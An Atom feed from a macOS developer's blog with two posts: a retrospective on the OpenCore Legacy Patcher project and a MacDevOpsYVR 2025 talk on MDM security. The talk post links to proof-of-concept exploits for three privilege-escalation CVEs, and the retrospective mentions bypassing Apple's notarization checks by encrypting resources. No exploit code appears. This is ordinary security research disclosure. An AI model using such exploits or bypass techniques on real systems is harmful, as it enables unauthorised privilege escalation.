<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2025-06-22T17:32:31+00:00</updated><id>/feed.xml</id><title type="html">Mykola’s blog</title><subtitle>Blog formerly dedicated to my rambles, including reverse engineering macOS internals, OS modding and documenting my cursed work.
</subtitle><author><name>Mykola Grymalyuk</name></author><entry><title type="html">OpenCore Legacy Patcher Retrospective &amp;amp; Next Chapter</title><link href="/macos/2025/06/20/OCLP-RETROSPECTIVE.html" rel="alternate" type="text/html" title="OpenCore Legacy Patcher Retrospective &amp;amp; Next Chapter" /><published>2025-06-20T13:00:00+00:00</published><updated>2025-06-20T13:00:00+00:00</updated><id>/macos/2025/06/20/OCLP-RETROSPECTIVE</id><content type="html" xml:base="/macos/2025/06/20/OCLP-RETROSPECTIVE.html"><![CDATA[<p>Seeing that this year will be OpenCore Legacy Patcher’s 5th anniversary and that there’s some bitter-sweet news to share (<a href="#finally-some-bittersweet-news">more at the end</a>), I thought it’d be a good time to reflect on my time with OpenCore Legacy Patcher.</p>

<hr />

<ul>
  <li><a href="#background">Background</a></li>
  <li><a href="#notable-milestones">Notable Milestones</a></li>
  <li><a href="#finally-some-bittersweet-news">Bittersweet news</a></li>
</ul>

<h2 id="background">Background</h2>

<p>For those who are unfamiliar (impressed you found this blog…), <a href="https://github.com/dortania/OpenCore-Legacy-Patcher" target="_blank">OpenCore Legacy Patcher</a> was a project I co-authored with my good friend <a href="https://github.com/dhinakg" target="_blank">DhinakG</a> back in 2020. The general idea was this: How do you get macOS Big Sur running on unsupported Macs?</p>

<p>The reason this question even came up was that we saw the legendary <a href="https://github.com/dosdude1" target="_blank">dosdude1</a> was taking a step back from macOS patcher development with Big Sur (<a href="https://forums.macrumors.com/threads/macos-11-big-sur-on-unsupported-macs-thread.2242172/page-250?post=29236680#post-29236680" target="_blank">later confirming such</a>). Thus a decent hole was left where several patchers took their place: <a href="https://github.com/barrykn" target="_blank">Barry KN’s micropatcher</a>, <a href="https://github.com/SuperBox64/bigmac" target="_blank">Todd Bruss’ Big Mac Patcher</a> and <a href="https://github.com/Ben216k/Patched-Sur" target="_blank">Ben Sova’s Patched Sur</a> to name a few.</p>

<p>With Dhinak and I, we were heavily based in the <a href="https://dortania.github.io/OpenCore-Install-Guide/" target="_blank">Hackintosh world</a> however saw an opportunity where Acidanthera’s <a href="https://github.com/acidanthera/OpenCorePkg" target="_blank">OpenCorePkg</a> could step in and provide a more dynamic solution through in-memory patching. While originally a proof of concept to prove someone wrong online (as all good projects do 😛), we kept building on it as it was able to handle edge cases other patchers couldn’t (native software updates, model spoofing, ACPI patching, etc).</p>

<p>Through that, more amazing developers and community members jumped in including ASentientBot, EduCovas, Jazzzny, Flagers, Ausdauersportler, IronApple, UHDBit, thatstella7922, crystall1nedev, Socamx, Paradox94, ASentientHedgehog, Mr.Macintosh, and so many more! (And we can’t forget the amazing work from the Acidanthera team, which without Lilu, OpenCorePkg, etc, we wouldn’t have been able to build OpenCore Legacy Patcher!)</p>

<p>A little tidbit of history: OpenCore Legacy Patcher was originally never even written on a genuine Mac. Up to this point, I avoided Apple hardware. Instead, the original proof of concept was written between 2 Hackintoshes, an Intel X299 desktop inside a PowerMac G5 case and an HP Elite X2 G1 tablet running Big Sur’s beta:</p>

<table>
  <thead>
    <tr>
      <th>Desktop</th>
      <th>Tablet</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-Dev-Desktop.png" alt="" /></td>
      <td><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-Dev-Tablet.png" alt="" /></td>
    </tr>
  </tbody>
</table>

<h2 id="notable-milestones">Notable milestones</h2>

<h3 id="20201201---v001---text-based-interface">2020/12/01 - v0.0.1 - Text based interface</h3>

<p>The very first release of OpenCore Legacy Patcher! All TUI-based, and requiring Python 2 (which used to ship with macOS 🥲). This build “supported” the following models for macOS Big Sur:</p>

<ul>
  <li>There were ofc many pitfalls that were later addressed.</li>
</ul>

<table>
  <thead>
    <tr>
      <th>Model Identifier</th>
      <th>Year</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>MacBook5,1 - MacBook7,1</td>
      <td>2008 - 2010 MacBook</td>
    </tr>
    <tr>
      <td>MacBookAir2,1 - MacBookAir5,x</td>
      <td>2009 - 2012 MacBook Air</td>
    </tr>
    <tr>
      <td>MacBookPro4,1 - MacBookPro10,x</td>
      <td>2008 - 2012 MacBook Pro</td>
    </tr>
    <tr>
      <td>Macmini3,1 - Macmini6,x</td>
      <td>2009 - 2012 Mac mini</td>
    </tr>
    <tr>
      <td>iMac7,1 - iMac14,x (excluding 14,4)</td>
      <td>2007 - 2013 iMac</td>
    </tr>
    <tr>
      <td>MacPro3,1 - MacPro5,1</td>
      <td>2008 - 2012 Mac Pro</td>
    </tr>
    <tr>
      <td>Xserve3,1</td>
      <td>2009 Xserve</td>
    </tr>
  </tbody>
</table>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.0.1.png" alt="" /></p>

<h3 id="20210301---v0011---python-3-rewrite-and-stand-alone-binary">2021/03/01 - v0.0.11 - Python 3 rewrite and stand-alone binary</h3>

<p>Thanks to some massive reworking from <a href="https://github.com/dhinakg" target="_blank">DhinakG</a>, OpenCore Legacy Patcher’s codebase now supports Python 3. And with it, integration with PyInstaller allowing for stand alone binaries without the need for external dependancies!</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.0.11.png" alt="" /></p>

<h3 id="20210327---v0019---code-signing-and-notarization">2021/03/27 - v0.0.19 - Code signing and notarization</h3>

<p>Somehow got Apple to sign and notarize OpenCore Legacy Patcher! Fun fact: You can bypass a bunch of Apple’s checks by encrypting your resources 😛</p>

<ul>
  <li>And yes, the DMG’s password has in fact always been <a href="https://github.com/dortania/PatcherSupportPkg/blob/1.9.2/Generate-DMG.command#L16" target="_blank">“password”</a>.</li>
</ul>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.0.19.png" alt="" /></p>

<h3 id="20210426---v011---macos-big-sur-non-metal-graphics-support">2021/04/26 - v0.1.1 - macOS Big Sur non-Metal graphics support</h3>

<p>What seemed like out of left field, <a href="https://github.com/asentientbot" target="_blank">ASentientBot</a> was able to get non-Metal graphics working! Much of the community thought it was a dead end with macOS Big Sur.</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.1.1.png" alt="" /></p>

<h3 id="20210614---v017---macos-monterey-and-terascale-2-graphics-support">2021/06/14 - v0.1.7 - macOS Monterey and TeraScale 2 graphics support</h3>

<p>2 big changes in one release! Regarding TeraScale 2 support, we were the first patcher to get it working on anything newer than macOS 10.13, High Sierra! However all the credit goes to <a href="https://github.com/asentientbot" target="_blank">ASentientBot</a>.</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.1.7.png" alt="" /></p>

<h3 id="20210711---v023---dosdude1-gui">2021/07/11 - v0.2.3 - dosdude1 GUI</h3>

<p>dosdude1’s return to macOS patching through OpenCore Legacy Patcher! This time with a CLI wrapper written in Objective-C:</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.2.3.png" alt="" /></p>

<h3 id="20210923---v025---macos-monterey-non-metal-graphics-support">2021/09/23 - v0.2.5 - macOS Monterey non-Metal graphics support</h3>

<p>Miracles can happen twice! Of course, the credit goes to <a href="https://github.com/asentientbot" target="_blank">ASentientBot</a> and EduCovas for their amazing work!</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.2.5.png" alt="" /></p>

<h3 id="20211213---v032---restoring-the-5k-imacs-dual-displayport-stream">2021/12/13 - v0.3.2 - Restoring the 5k iMac’s Dual DisplayPort Stream</h3>

<p>Really fun challenge to work on, and super thankful for <a href="https://github.com/turbomacs" target="_blank">@turbomacs</a> for donating a 5k iMac for research! Even got a fun blog post out of it:</p>

<ul>
  <li><a href="https://khronokernel.com/macos/2021/12/08/5K-UEFI.html" target="_blank">Blogpost: 5K iMac and UEFI: Fixing the dreaded output limitation</a></li>
</ul>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.3.2.png" alt="" /></p>

<h3 id="20220121---v040---native-wxpython-gui">2022/01/21 - v0.4.0 - Native wxPython GUI</h3>

<p>After much work, we built a GUI that was able to interoperate with OpenCore Legacy Patcher’s core much closer through wxPython. Though if I had my way, we’d always be a TUI-based patcher 😅</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.4.0.png" alt="" /></p>

<h3 id="20220502---v044---automatic-os-patching">2022/05/02 - v0.4.4 - Automatic OS patching</h3>

<p>Thanks to <a href="https://github.com/dhinakg" target="_blank">DhinakG</a>’s research, we were able to add automatic root volume patching during OS installation, and detection of missing patches post-update!</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.4.4.png" alt="" /></p>

<h3 id="20220611---v046---nvidia-web-drivers-support">2022/06/11 - v0.4.6 - NVIDIA Web Drivers support</h3>

<p>Everyone thought Web Drivers were dead after macOS 10.13 , High Sierra (<a href="https://imgur.com/zNdTy3j" target="_blank">including myself</a>). Well with some black magic, <a href="https://github.com/asentientbot" target="_blank">ASentientBot</a> and <a href="https://github.com/flagersgit" target="_blank">Flagers</a> were able to do the impossible:</p>

<ul>
  <li><a href="https://twitter.com/khronokernel/status/1529583832663437312" target="_blank">Twitter: In today’s installment of questionable projects, got #Nvidia Web Drivers working in #macOS #Monterey!</a></li>
</ul>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.4.6.png" alt="" /></p>

<h3 id="20221025---v050---macos-ventura-support">2022/10/25 - v0.5.0 - macOS Ventura support</h3>

<p>This release has a fun little backstory, specifically that it was the first macOS unveil where <a href="https://mrmacintosh.com" target="_blank">Mr.Macintosh</a> and I were at Apple Park! With live macOS patching shenanigans.</p>

<p>And a big thank you to those who funded my GoFundMe to get there. I was originally quite hesitant to ask for any support, but Mr.Macintosh encouraged me to do so. Honestly a once in a lifetime opportunity!</p>

<table>
  <thead>
    <tr>
      <th>Tim and Craig!</th>
      <th>2012 MacBook Pro installing Ventura beta 1!</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.5.0-Apple-Park-Tim-and-Craig.png" alt="" /></td>
      <td><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.5.0-Apple-Park-Patching.png" alt="" /></td>
    </tr>
  </tbody>
</table>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.5.0.png" alt="" /></p>

<h3 id="20221027---v051---restoring-the-trash-can-mac-pros-firmware-support">2022/10/27 - v0.5.1 - Restoring the Trash Can Mac Pro’s firmware support</h3>

<p>Similar to the 5k iMac, <a href="https://forums.macrumors.com/members/johnd.53633/" target="_blank">JohnD</a> graciously donated a 2013 Mac Pro for research as it was unable to boot macOS Ventura. After much fighting, we were finally able to get it to boot!</p>

<ul>
  <li><a href="https://twitter.com/khronokernel/status/1585470323998457856" target="_blank">Twitter: For the first time outside of Cupertino Headquarters, a 2013 Trash Can Mac Pro booted macOS Ventura!</a></li>
</ul>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.5.1.png" alt="" /></p>

<h3 id="20230123---v060---macos-ventura-rapid-security-response-and-non-metal-graphics-support">2023/01/23 - v0.6.0 - macOS Ventura Rapid Security Response and non-Metal graphics support</h3>

<p>Another 2 for one, this time fighting my entire winter break from school on Apple’s shiny new Rapid Security Response. As usual, huge shout out to EduCovas, <a href="https://github.com/asentientbot" target="_blank">ASentientBot</a>, <a href="https://github.com/flagersgit" target="_blank">Flagers</a> and <a href="https://github.com/dhinakg" target="_blank">DhinakG</a> for their amazing work on this release!</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.6.0.png" alt="" /></p>

<h3 id="20230522---v066---overhauled-wxpython-gui">2023/05/22 - v0.6.6 - Overhauled wxPython GUI</h3>

<p>Now with more icons! My personal favorite being the <a href="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.6.6-Support-Icon.png" target="_blank">support icon</a>.</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.6.6.png" alt="" /></p>

<h3 id="20230602---v067---launching-our-opencollective">2023/06/02 - v0.6.7 - Launching our OpenCollective</h3>

<p>After many requests, we finally launched our <a href="https://opencollective.com/opencore-legacy-patcher" target="_blank">OpenCollective</a>! With it, the community helped fund research and fixes through hardware and software purchases. This was especially important for our developers in less fortunate countries. Thank you to everyone who donated!</p>

<p>And a big thank you to <a href="https://mrmacintosh.com" target="_blank">Mr.Macintosh</a> for pushing us to do this!</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-0.6.7.png" alt="" /></p>

<h3 id="20231002---v100---macos-sonoma-support">2023/10/02 - v1.0.0 - macOS Sonoma support</h3>

<p>Our 4th OS release, now with saner <a href="https://www.geeksforgeeks.org/introduction-semantic-versioning/" target="_blank">semantic versioning</a> 🎉 (Though throwing darts for versioning was kinda fun while it lasted)</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-1.0.0.png" alt="" /></p>

<h3 id="20231110---v120---background-caching-of-patcher-assets">2023/11/10 - v1.2.0 - Background caching of patcher assets</h3>

<p>After many conversations with <a href="https://mrmacintosh.com" target="_blank">Mr.Macintosh</a> on how to improve the patching experience, we were able to implement OS update detection for asset caching with items requiring network connections (ie. <a href="https://github.com/dortania/KdkSupportPkg" target="_blank">KdkSupportPkg</a>)!</p>

<p>And around this same time, I also spoke a bit about the internals of making a macOS patcher and what it means to be a “tier 2 citizen” at BSides Calgary (my very first talk!): <a href="https://khronokernel.com/macos/2023/11/16/BSIDES.html" target="_blank">BSides Calgary 2023 Talk: Legacy Macs, Modern Solutions. A Hacker’s Approach to Mac Sustainability.
</a></p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-1.2.0.png" alt="" /></p>

<h3 id="20240531---v150---privileged-helper-tool-and-pkg-based-distribution">2024/05/31 - v1.5.0 - Privileged Helper Tool and PKG-based distribution</h3>

<p>After having spent the last year working as a MacAdmin, I grew quite an interest in PKG deployments. So of course, I converted OpenCore Legacy Patcher’s installation system into a streamlined PKG system.</p>

<p>And with it, a new privileged helper tool to drop the annoying password requirement for many of the patcher’s functions.</p>

<table>
  <thead>
    <tr>
      <th>Installer</th>
      <th>Uninstaller</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-1.5.0-Installer.png" alt="" /></td>
      <td><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-1.5.0-Uninstaller.png" alt="" /></td>
    </tr>
  </tbody>
</table>

<h3 id="20240914---v200---macos-sequoia-support">2024/09/14 - v2.0.0 - macOS Sequoia support</h3>

<p>Supporting our 5th OS release 🦾, and still, not a single machine we previously supported was removed. Though unfortunately we’ve still been unable to get the 2018 and 2019 MacBook Airs supported due to <a href="https://github.com/dortania/OpenCore-Legacy-Patcher/issues/1136" target="_blank">firmware shenanigans</a> 🫠</p>

<p><img src="/images/posts/2025-06-20-OCLP-RETROSPECTIVE/OCLP-2.0.0.png" alt="" /></p>

<h2 id="finally-some-bittersweet-news">Finally some bittersweet news</h2>

<p>After some genuinely amazing years of working on OpenCore Legacy Patcher, I believe it’s time to pivot my work on breaking Apple platforms in a new direction. Specifically towards a small, Cupertino-based startup.</p>

<p>Beginning next week, I’ll be joining Apple’s Bug Bounty team out in Seattle (I’ll miss you Canada 🫎). It’s quite the shift, but excited for the challenges to come!</p>

<blockquote>
  <p>What does this mean for OpenCore Legacy Patcher?</p>
</blockquote>

<p>Hopefully very little, as there are still going to be a ton of brilliant members working on the patcher. The project will be in good hands.</p>

<p>Otherwise thank you to all the people who’ve helped build OpenCore Legacy Patcher, as well as the community that supported us throughout. I wish the best of luck with the future of macOS 🫡</p>]]></content><author><name>Mykola Grymalyuk</name></author><category term="macos" /><summary type="html"><![CDATA[Seeing that this year will be OpenCore Legacy Patcher’s 5th anniversary and that there’s some bitter-sweet news to share (more at the end), I thought it’d be a good time to reflect on my time with OpenCore Legacy Patcher.]]></summary></entry><entry><title type="html">MacDevOpsYVR 2025 - MDM Hygiene for MacAdmins</title><link href="/macos/2025/06/13/MDOYVR-2025.html" rel="alternate" type="text/html" title="MacDevOpsYVR 2025 - MDM Hygiene for MacAdmins" /><published>2025-06-13T13:00:00+00:00</published><updated>2025-06-13T13:00:00+00:00</updated><id>/macos/2025/06/13/MDOYVR-2025</id><content type="html" xml:base="/macos/2025/06/13/MDOYVR-2025.html"><![CDATA[<p>Another year, another MacDevOpsYVR! This year I had the pleasure of talking about common security pitfalls for MacAdmins when it comes to MDM and Mac management as a whole. This year I brought in a new utility, <a href="http://github.com/ripeda/Indago" target="_blank">Project Indago</a>, to help demonstrate oversights in MDM enrollments.</p>

<p>As usual, links to the talk will be posted once they are available, but in the meantime, here are all the juicy slides!</p>

<ul>
  <li>Slides: <a href="/assets/Conferences/MacDevOpsYVR-2025/MDM-Hygiene.pdf" target="_blank">MDM Hygiene for MacAdmins (PDF)</a></li>
</ul>

<p>Oh and why not, let’s drop PoCs for a few CVEs too!</p>

<ul>
  <li><a href="https://khronokernel.com/macos/2024/06/03/CVE-2024-27822.html" target="_blank">CVE-2024-27822: macOS PackageKit Privilege Escalation</a></li>
  <li><a href="/assets/Conferences/MacDevOpsYVR-2025/qnap_updater_exploit.py" target="_blank">CVE-2024-53694: QNAP Updater Privilege Escalation</a> (<a href="/assets/Conferences/MacDevOpsYVR-2025/qnap_updater_exploit.mov" target="_blank">Video PoC</a>)</li>
  <li><a href="/assets/Conferences/MacDevOpsYVR-2025/forticlient.py" target="_blank">CVE-2025-46774: FORTINET FortiClient Privilege Escalation</a> (<a href="/assets/Conferences/MacDevOpsYVR-2025/forticlient.mov" target="_blank">Video PoC</a>)</li>
</ul>

<p>If you’re bored, both QNAP Updater and FortiClient still have some goodies to find 👾 (Both are genuinely some of the most concerning (?) software I’ve reversed in a while)</p>

<hr />

<p><img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.001.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.002.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.003.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.004.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.005.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.006.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.007.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.008.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.009.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.010.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.011.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.012.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.013.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.014.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.015.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.016.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.017.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.018.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.019.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.020.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.021.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.022.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.023.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.024.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.025.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.026.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.027.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.028.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.029.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.030.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.031.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.032.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.033.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.034.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.035.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.036.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.037.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.038.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.039.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.040.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.041.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.042.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.043.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.044.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.045.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.046.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.047.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.048.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.049.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.050.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.051.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.052.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.053.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.054.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.055.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.056.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.057.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.058.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.059.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.060.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.061.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.062.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.063.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.064.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.065.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.066.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.067.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.068.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.069.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.070.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.071.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.072.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.073.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.074.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.075.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.076.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.077.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.078.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.079.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.080.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.081.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.082.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.083.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.084.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.085.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.086.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.087.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.088.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.089.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.090.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.091.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.092.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.093.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.094.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.095.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.096.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.097.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.098.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.099.png" alt="" />
<img src="/images/posts/2025-06-13-MDOYVR-2025/MDM-Hygiene-MDOYVR2025.100.png" alt="" />
